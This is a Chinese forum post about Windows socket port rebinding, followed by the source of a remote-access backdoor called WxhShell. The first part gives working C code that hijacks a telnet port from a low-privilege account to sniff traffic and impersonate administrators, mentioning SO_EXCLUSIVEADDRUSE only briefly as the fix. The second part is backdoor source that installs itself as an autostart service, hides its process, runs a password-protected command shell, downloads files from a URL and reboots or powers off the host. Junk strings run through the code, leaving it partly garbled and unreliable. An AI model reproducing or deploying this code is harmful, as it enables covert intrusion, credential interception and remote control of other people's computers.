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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A{c6XQR~z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6 XG+YIG6w  
S3=J1R,  
  saddr.sin_family = AF_INET; CjST*(,b  
% idnm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %(e=Q^=  
H{}6`;W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6@$[x* V  
AVJF[t,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4EpzCaEZ  
f 4 _\F/  
  这意味着什么?意味着可以进行如下的攻击: 70NHU;&N  
Z 0:2x(x9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r:q#l~;^  
vBpg6 fX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -r2cK{Hhp&  
 -{wuF0f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e\dT~)c  
zm:=d>D..  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y((_V%F}  
<_>6a7ra  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I%&9`ceWY  
4Rm3'Ch  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cjR.9bgn  
Pjy?&;GvT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~ /[Cgh0  
c>R(Fs|6  
  #include %8tN$8P  
  #include ? 1{S_  
  #include lEDHx[q  
  #include    ^ZlV1G;/W@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aC},h   
  int main() 8.^U6xA  
  { NQJqS?^W&M  
  WORD wVersionRequested; a(~Yr A%~  
  DWORD ret; ]Yu+M3Fq  
  WSADATA wsaData; /$z@_U [L  
  BOOL val; a7|&Tbv  
  SOCKADDR_IN saddr; gB(W`:[  
  SOCKADDR_IN scaddr; "6d bRo5%  
  int err; -IS9uaT5  
  SOCKET s; GN9_ZlC  
  SOCKET sc; Qzhnob#C9  
  int caddsize; h6e$$-_  
  HANDLE mt; <`3(i\-X  
  DWORD tid;   ,m?D\Pru  
  wVersionRequested = MAKEWORD( 2, 2 ); [8P2V  
  err = WSAStartup( wVersionRequested, &wsaData ); 5Nb_K`Vp*  
  if ( err != 0 ) { -9I%   
  printf("error!WSAStartup failed!\n"); pCUOeQL(  
  return -1; f B96Q  
  } N^]>R :Stu  
  saddr.sin_family = AF_INET; t"p#ii a  
   HdUW(FZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RM1uYFs<  
}hitU(5t0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j~H`*R=ld#  
  saddr.sin_port = htons(23); bJF/daC5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GKhwn&qCKb  
  { t)Q @sKT6  
  printf("error!socket failed!\n"); Oc9>F\]_m  
  return -1; SQU%N  
  } eKz~viM'  
  val = TRUE; "EYj Y->  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TQd FC\@f"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K!K"}%/_  
  { nj0AO0  
  printf("error!setsockopt failed!\n"); #(+HSZm  
  return -1; qetP93N_*  
  } !TL}~D:J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "ue$DyN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >MWpYp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,(27p6!  
N8YBu/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K}<!{/fi)  
  { HL}~W}!j  
  ret=GetLastError(); (g/X(3  
  printf("error!bind failed!\n"); .S'fM]_#  
  return -1; O;e8ft '|  
  } u%1k  
  listen(s,2); L sDzV)  
  while(1) ho]!G498  
  { I,<54? vS  
  caddsize = sizeof(scaddr); Gz|%;  
  //接受连接请求 Wj j2J8B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d6@jEa-  
  if(sc!=INVALID_SOCKET) "gvw0)  
  { +#uNQ`1v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vMX6Bg8  
  if(mt==NULL) nN`Z0?  
  { y^QYl ZO  
  printf("Thread Creat Failed!\n"); }\939Y  
  break; ;5D @kS^  
  } q: TT4MUj<  
  } K$<`4#i  
  CloseHandle(mt); M9Nk=s! 3  
  } }$Hs;4|  
  closesocket(s); K_AtU/  
  WSACleanup(); ^Y{6;FJ  
  return 0; (ET ;LH3  
  }   &e-#|p#v  
  DWORD WINAPI ClientThread(LPVOID lpParam) >[|GC/C  
  { L}}=yh6r  
  SOCKET ss = (SOCKET)lpParam; i'W_;Y}  
  SOCKET sc; d; mmM\3]  
  unsigned char buf[4096]; 3?.1~"-J  
  SOCKADDR_IN saddr; U] V3DDN  
  long num; [y|^P\D  
  DWORD val; YY#s=  
  DWORD ret; lh,ylh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?W[J[cb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   | rE!  
  saddr.sin_family = AF_INET; }BI~am_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S'Z70 zJ  
  saddr.sin_port = htons(23); {cR_?Y@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c*x J=Gz6d  
  { cBz!U 8(  
  printf("error!socket failed!\n"); .cg=  
  return -1; wr$cK'5ZL  
  } I~\O  
  val = 100; gYTyH.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^>N8*=y  
  { (3 IZ  
  ret = GetLastError(); `z9)YH  
  return -1; k $e D(cW$  
  } "gXxRHTX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6 gj]y^}  
  { J+ Jt4  
  ret = GetLastError(); e >L5.~i  
  return -1; J[ e}  
  } Ik`O.Q.}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %04:z77  
  { ;[(= kOI  
  printf("error!socket connect failed!\n"); W|)GV0YM  
  closesocket(sc); E rr4 %-  
  closesocket(ss); b;S6'7Jf9  
  return -1; J.1O/Pw!.a  
  } Z5((1J9  
  while(1) }x*7l`1  
  { ).pO2lLF4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >vUB%OLyP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fv|]= e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :lUX5j3  
  num = recv(ss,buf,4096,0); ZU=,f'bU  
  if(num>0) hHcJN  
  send(sc,buf,num,0); U z"sdi  
  else if(num==0) xC<=~(  
  break; hT?6sWa  
  num = recv(sc,buf,4096,0); AT"!{Y "H  
  if(num>0) ,mBZ`X@N  
  send(ss,buf,num,0); ToV6lS"  
  else if(num==0) }$l8d/_$[  
  break; >9ob*6q,  
  } ful#Px6m  
  closesocket(ss); Sa L"!uAk  
  closesocket(sc); b3}Q#Y\G  
  return 0 ; |~z3U>  
  } BWWq4mdb{  
<3b'm*  
=/[ltUKs:a  
========================================================== ^7.XGWQ)-  
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下边附上一个代码,,WXhSHELL UEzsDJu  
K4 C ^m|e  
========================================================== UH[<&v  
o7.e'1@  
#include "stdafx.h" R~)ybf{  
+=7:4LFOL  
#include <stdio.h> _g[-=y{Bb  
#include <string.h> wqUQ"d  
#include <windows.h> w!\3ICB  
#include <winsock2.h> WSRy%#  
#include <winsvc.h> 9e!vA6Fx  
#include <urlmon.h> KF+mZB  
>L gVj$Z  
#pragma comment (lib, "Ws2_32.lib") +Gow5-(  
#pragma comment (lib, "urlmon.lib") Oa! m  
[>f]@>  
#define MAX_USER   100 // 最大客户端连接数 WfZF~$li`  
#define BUF_SOCK   200 // sock buffer e'34Pw!m  
#define KEY_BUFF   255 // 输入 buffer iRNLKi  
L;S}s, 2x  
#define REBOOT     0   // 重启 3+ =I;nj  
#define SHUTDOWN   1   // 关机 qNxB{0(D  
6W&_2a7*  
#define DEF_PORT   5000 // 监听端口 y%S})9  
JE hm1T  
#define REG_LEN     16   // 注册表键长度 wO7t!35  
#define SVC_LEN     80   // NT服务名长度 e`iEy=W  
9C/MRmv`  
// 从dll定义API EiWd+v,QJQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yzR=A%V8A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T/l1qcf`wT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3-C\2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _7"5wB?|+  
<r~wZ}s  
// wxhshell配置信息 bAEg$A  
struct WSCFG { wC`;f5->  
  int ws_port;         // 监听端口 (?>cn_m  
  char ws_passstr[REG_LEN]; // 口令  @pFj9[N  
  int ws_autoins;       // 安装标记, 1=yes 0=no eh(<m8I  
  char ws_regname[REG_LEN]; // 注册表键名 C5*xQlCq}  
  char ws_svcname[REG_LEN]; // 服务名 (RE2I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qs9OC9X1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6ZOy&fd,Ty  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F PR`tE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qhn;`9+L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vn, >< g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rjk( X|R*  
p=Y>i 'CG  
}; $SY]fNJQ  
=:=/Gz1  
// default Wxhshell configuration o&SSv W  
struct WSCFG wscfg={DEF_PORT, n?xTkkr0  
    "xuhuanlingzhe", nlGHT  
    1, -tLO.JK<  
    "Wxhshell", RLVAT M5  
    "Wxhshell", )d`mvZBn1  
            "WxhShell Service", Y@uh[aS!  
    "Wrsky Windows CmdShell Service", ~F!,PM/  
    "Please Input Your Password: ", K pHw-6"  
  1, 7TX2&kMoc  
  "http://www.wrsky.com/wxhshell.exe", !%)]56(  
  "Wxhshell.exe" MYdO jcN  
    }; O.QK"pKD\  
B&0; 4  
// 消息定义模块 >IfV\ w32  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C! 9}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5(m(xo6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p3(2?UO!  
char *msg_ws_ext="\n\rExit."; b:W-l?  
char *msg_ws_end="\n\rQuit."; vB'>[jvA|  
char *msg_ws_boot="\n\rReboot..."; L|j%S  
char *msg_ws_poff="\n\rShutdown..."; P8Qyhc  
char *msg_ws_down="\n\rSave to "; vB\]u.  
@N@F,~[RR2  
char *msg_ws_err="\n\rErr!"; 9+=gke  
char *msg_ws_ok="\n\rOK!"; p@ NaD=9  
L%"LlS g  
char ExeFile[MAX_PATH]; YJV%a  
int nUser = 0; 0RFRbi@n(  
HANDLE handles[MAX_USER]; soRv1)el  
int OsIsNt; k[j90C5  
>l']H*&B<  
SERVICE_STATUS       serviceStatus; WKfkKk;G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $g0+,ll[6  
V!_71x\-Q  
// 函数声明 $sHP\{  
int Install(void); ]6r;}1c  
int Uninstall(void); "R>FqX6FB  
int DownloadFile(char *sURL, SOCKET wsh); co8"sz0(U  
int Boot(int flag); hVUh0XeO  
void HideProc(void); yw-8#y  
int GetOsVer(void); ZBT1Y.qA  
int Wxhshell(SOCKET wsl); ED>prE0  
void TalkWithClient(void *cs); W !w,f;  
int CmdShell(SOCKET sock); l7H qo)  
int StartFromService(void); "hxN!,DEZ  
int StartWxhshell(LPSTR lpCmdLine); Fb`a~c~s  
V" \0Y0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aT!'}GjL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b//B8^Eong  
,l YE  
// 数据结构和表定义 >{gPN"S"a  
SERVICE_TABLE_ENTRY DispatchTable[] = D"(L5jR8m@  
{ q;g>t5]a  
{wscfg.ws_svcname, NTServiceMain}, 58\&/lYW  
{NULL, NULL} !* Ti}oIo&  
}; c #-U%qZ  
RqEH| EUZ  
// 自我安装 J%09^5:-z  
int Install(void) %,Sf1fUJ  
{ Unj.f>U  
  char svExeFile[MAX_PATH]; ^k5ll=}  
  HKEY key; *_a@z1  
  strcpy(svExeFile,ExeFile); {;toI  
!tfb*@{;'  
// 如果是win9x系统,修改注册表设为自启动 0"2=n.##  
if(!OsIsNt) { 'o|30LzYgQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ];'v8)Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .+7;)K   
  RegCloseKey(key); mMsTyM-f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]8q3>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x~xa6  
  RegCloseKey(key); p' M%XBu  
  return 0; J)P$2#  
    } O+g3X5f+  
  } j83p)ido  
} q0f3="  
else { ( vca&wI!  
Nd;K u6  
// 如果是NT以上系统,安装为系统服务 :3I@(k\PY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $f zaPD4.  
if (schSCManager!=0) ZSG9t2qlv  
{ (JM5`XwM  
  SC_HANDLE schService = CreateService }b-g*dn]5  
  ( #*KNPh  
  schSCManager, f` ;j:O  
  wscfg.ws_svcname, 8@tPm$  
  wscfg.ws_svcdisp, "OdXY"G  
  SERVICE_ALL_ACCESS, bLwAXW2K+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  0}CGuws  
  SERVICE_AUTO_START, w$Rro)?}7  
  SERVICE_ERROR_NORMAL, lqm1!5dt  
  svExeFile, lGOgN!?i  
  NULL, MerFZd 1  
  NULL, MP>dW nl  
  NULL, xjVS   
  NULL, @ g&ct>@y  
  NULL ^G.B+dG@`x  
  ); P3=W|81e  
  if (schService!=0) lhBT@5Dm9  
  { cj1cZ-  
  CloseServiceHandle(schService); 9;B0Mq py  
  CloseServiceHandle(schSCManager); , T8>}U(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =_:et 0  
  strcat(svExeFile,wscfg.ws_svcname); 1fZ(l"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sk=-M8;\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O R;uqV@  
  RegCloseKey(key); i*@< y/&'  
  return 0; %|^fi8!:|  
    } l p(8E6  
  } LyAn&h}  
  CloseServiceHandle(schSCManager); Z7=`VNHc  
}  [D<1 CF  
} `0Oh_8"  
"CI=`=  
return 1; 'coV^~qy  
} opc/e  
Z )SY.iK.  
// 自我卸载 y9>ZwYN  
int Uninstall(void) `wDl<[V  
{ 34Kw!  
  HKEY key; x3o ]U)^  
F;7dt@5;  
if(!OsIsNt) { Wwr;-Qa}g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V;,{}  
  RegDeleteValue(key,wscfg.ws_regname); GJoS #s  
  RegCloseKey(key); @T'i/}nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^h"`}[+  
  RegDeleteValue(key,wscfg.ws_regname); F*3j.lI  
  RegCloseKey(key); MP4z-4Y  
  return 0; 8n*.).33  
  } T^Ze3L]  
} /Sc l#4bW  
} g.zEn/SM  
else { {l/-LZ.  
JNJ=e,O,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }wHW7SJ  
if (schSCManager!=0) x6e}( &p*  
{ 5*,f Fib  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;;:-l99  
  if (schService!=0) ucG@?@JENm  
  { $D|e>U  
  if(DeleteService(schService)!=0) { d;>#Sxf  
  CloseServiceHandle(schService); Cc%LztP>  
  CloseServiceHandle(schSCManager); iC9 8_o_9  
  return 0; ck.w 5|$  
  } h3z{(-~y  
  CloseServiceHandle(schService); ?MgUY)X  
  } ecCr6)  
  CloseServiceHandle(schSCManager); #nK>Z[  
} +gJ8{u!=k  
} k=4N.*#`y  
t\%HX.8[;%  
return 1; R}4So1  
} RHO(?8"_  
K%F,='P}  
// 从指定url下载文件 "6us#T  
int DownloadFile(char *sURL, SOCKET wsh) 9Bw|(J  
{ 9/ibWa\.  
  HRESULT hr; e0T34x'  
char seps[]= "/"; 37|&?||  
char *token; k|lcc^[0  
char *file; s1h/}  
char myURL[MAX_PATH]; n 3D;"a3  
char myFILE[MAX_PATH]; :]^P1sH[  
WqXbI4;pJ  
strcpy(myURL,sURL); I/L_@X<*r  
  token=strtok(myURL,seps); .-IkL |M  
  while(token!=NULL) Ga^Zb^y  
  { kdCP  
    file=token; ;i"*Ll>Q)  
  token=strtok(NULL,seps); ~j#]tElb  
  } ynB_"mg  
 :Mcu  
GetCurrentDirectory(MAX_PATH,myFILE); 6}(J6T46M[  
strcat(myFILE, "\\"); #!$GH_  
strcat(myFILE, file); A)~X,  
  send(wsh,myFILE,strlen(myFILE),0); 1=nUW":  
send(wsh,"...",3,0); k $f Gom  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Li%KOY  
  if(hr==S_OK) r 3M1e+'fc  
return 0; cwuO[^S}  
else <d<mvXbw_@  
return 1; =fYL}m5E  
sT/c_^y  
} [F*4EGB  
&tZG @  
// 系统电源模块 Wfz\ `y  
int Boot(int flag) UDc$"a}ds{  
{ U^.4Hy&D  
  HANDLE hToken; "&/]@)TPz  
  TOKEN_PRIVILEGES tkp; }HG#s4  
+hRmO  
  if(OsIsNt) { g!`3{ /4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HeK h>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "iM~Hy  
    tkp.PrivilegeCount = 1; a2f^x@0k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -3&G"hfK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pe_!?:vF  
if(flag==REBOOT) { 5I,gBT|B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bC^(U`y32  
  return 0; O Lc}_  
} `T2$4>!  
else { `' 153M]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 20TCG0% x  
  return 0; ZO7&vF}  
} XG@`ZJhU6  
  } ]O` {dnP  
  else { t UR c bwV  
if(flag==REBOOT) { m,R Dr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7Mx6  
  return 0; #Ch;0UvFF  
} cDrebU  
else { H2r8,|XL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >|o_wO  
  return 0; A;J MV+2N  
} @+Y8*Rj\3  
} !$g+F(:(c  
3S BZ>  
return 1; t0#[#I1+  
} ` r']^ ,  
*RR[H6B^]X  
// win9x进程隐藏模块 A K/z6XGy  
void HideProc(void) }sxn72,  
{ .A1\J@b  
.5Q:Xp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *fO{ a  
  if ( hKernel != NULL ) ue8qIZH  
  { 1# t6`N]?V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tVqmn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3|rn] yZ  
    FreeLibrary(hKernel); *]x*B@RF  
  } oh#> 5cA8  
-Y:ROoFOZ  
return; !7U\J]  
} S^f:`9ab9  
'FzN[% K"  
// 获取操作系统版本 On1v<SD$[  
int GetOsVer(void) 0ZC,BS`D^  
{ z}.D" P+  
  OSVERSIONINFO winfo; WjM>kWv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]v5-~E!  
  GetVersionEx(&winfo); &!y]:CC{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f]d!hz!  
  return 1; fw{,bJ(U  
  else U&y`-@A4  
  return 0; TK>{qxt:=  
} 1]\TI7/ n  
?z"KnR+?Q  
// 客户端句柄模块 5@XV6  
int Wxhshell(SOCKET wsl) OCHm;  
{ djT. 1(  
  SOCKET wsh; 2[dIOb4b  
  struct sockaddr_in client; %^9:%ytt  
  DWORD myID; Zj-BuE&@f  
H2Eb\v`#  
  while(nUser<MAX_USER) C>*n9l[M~  
{ H/+{e,SW"  
  int nSize=sizeof(client); ]@SU4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7nz!0I^   
  if(wsh==INVALID_SOCKET) return 1; kb|eQtH  
Z~3u:[x";  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vSM_]fn  
if(handles[nUser]==0) Q @2(aR  
  closesocket(wsh); |5 xzl  
else ';/84j-3F  
  nUser++; G[q9A$yw  
  } DuF7HTN[K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rR!U;  
 #[ :w  
  return 0; 0yHjrxc$  
} )!C7bTv 4  
>%c*Xe  
// 关闭 socket GOW"o"S  
void CloseIt(SOCKET wsh) /S/aUvN  
{ } gkP  
closesocket(wsh); uu>lDvR*  
nUser--; ,QS'$n  
ExitThread(0); T _~KxQ  
} 79z)C35~  
BPWnck=%  
// 客户端请求句柄 99KVtgPm  
void TalkWithClient(void *cs) d~<QAh#rG  
{ sA\L7`2H  
?f@ 9nph  
  SOCKET wsh=(SOCKET)cs; %FlA ":W  
  char pwd[SVC_LEN]; aQmfrx  
  char cmd[KEY_BUFF]; hb! ln7  
char chr[1]; ;\s~%~ \  
int i,j; .b _?-Fv  
QSmJ`Bm  
  while (nUser < MAX_USER) { /:Y9sz uW`  
K_##-6>  
if(wscfg.ws_passstr) { \ 522,n`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6+Jry@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P/`m3aSzX.  
  //ZeroMemory(pwd,KEY_BUFF); SKJW%(|3  
      i=0; fM{1Os  
  while(i<SVC_LEN) { gV.f*E1C  
k<,u0  
  // 设置超时 " <*nZ~nE)  
  fd_set FdRead; F8 ?uQP8  
  struct timeval TimeOut; (!ZV9S  
  FD_ZERO(&FdRead); lO_c/o$  
  FD_SET(wsh,&FdRead);  6s5b$x  
  TimeOut.tv_sec=8; +l.|kkZ?  
  TimeOut.tv_usec=0; yXXvs'$R \  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O8$~*NFJf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  s<d!+<  
H1C%o0CPY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yP%o0n/"x  
  pwd=chr[0]; ;'hi9L  
  if(chr[0]==0xd || chr[0]==0xa) { `11#J;[@G  
  pwd=0; Hy;901( %  
  break; `1$y(w]  
  } +.wT 9kFcc  
  i++; a(5y>HF  
    } )ZN(2z  
U81;7L8  
  // 如果是非法用户,关闭 socket []r T? -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2pjW,I!`  
} L=,Y1nO:p  
1GUqT 9)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pY, O_ t$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w'|&5cS  
PlF!cr7:4  
while(1) { TMNfJz   
R|$[U  
  ZeroMemory(cmd,KEY_BUFF); PK_Fx';ke^  
&7fY_~)B  
      // 自动支持客户端 telnet标准   % <^[j^j}o  
  j=0; -!i;7[N  
  while(j<KEY_BUFF) { ,7t3>9 -M"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j=FMYd8$y  
  cmd[j]=chr[0]; 70duk:Ri0  
  if(chr[0]==0xa || chr[0]==0xd) { w[e0wh`.  
  cmd[j]=0; yB=C5-\F  
  break; R04.K !  
  } xcw%RUC-  
  j++; <sO?ev[  
    } xnT3^ #-h  
U) +?$ Tbm  
  // 下载文件 vJ~4D*(]l  
  if(strstr(cmd,"http://")) { y#&$ f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v'h3CaA9j  
  if(DownloadFile(cmd,wsh)) `}[VwQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n}=rj7  
  else KlY,NSlQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fE'-.nA+  
  } Z+r%_|kZ  
  else { S^|$23}  
qbEKp HnB  
    switch(cmd[0]) { z~BD(FDI  
  t'dHCp}  
  // 帮助 Fq vQk  
  case '?': { &fCP2]hj'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IO^:FnJJv  
    break; -,FK{[h]ka  
  } W\&WS"=~  
  // 安装 wTB)v!  
  case 'i': { j5PaSk&o=  
    if(Install()) ]jHgo](%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]\)=F`n77  
    else 4C l, Iw/;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J!=](s5|  
    break; Bv2z4D4f+  
    } (:_%kmu  
  // 卸载 v9Z lNA7m!  
  case 'r': { WpXODkQL  
    if(Uninstall()) jf$JaY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQ=&@ >e  
    else RY\{=f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0t5Q9#RY  
    break; 9X 5*{f Y  
    } k)N2 +/  
  // 显示 wxhshell 所在路径 l@,);w=_P  
  case 'p': { X)`(nj  
    char svExeFile[MAX_PATH]; mA&RN"+V  
    strcpy(svExeFile,"\n\r"); hg[l{)Q  
      strcat(svExeFile,ExeFile); d%}crM-KTL  
        send(wsh,svExeFile,strlen(svExeFile),0); xB?S#5G}  
    break; z5x ,fQw6O  
    } D__lqboz  
  // 重启 :)KTZ  
  case 'b': { Fy}MXe"f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ov $N"  
    if(Boot(REBOOT))  5uQv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j[$B\H  
    else { 8gVxiFjo  
    closesocket(wsh); ?RgU6/2  
    ExitThread(0); Rz<d%C;R  
    } r*X}3t*  
    break; p?dGZ2` [I  
    } s`8M%ZLu  
  // 关机 7h9fQ&y  
  case 'd': { 1R5\GKF6o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jjS{q,bo  
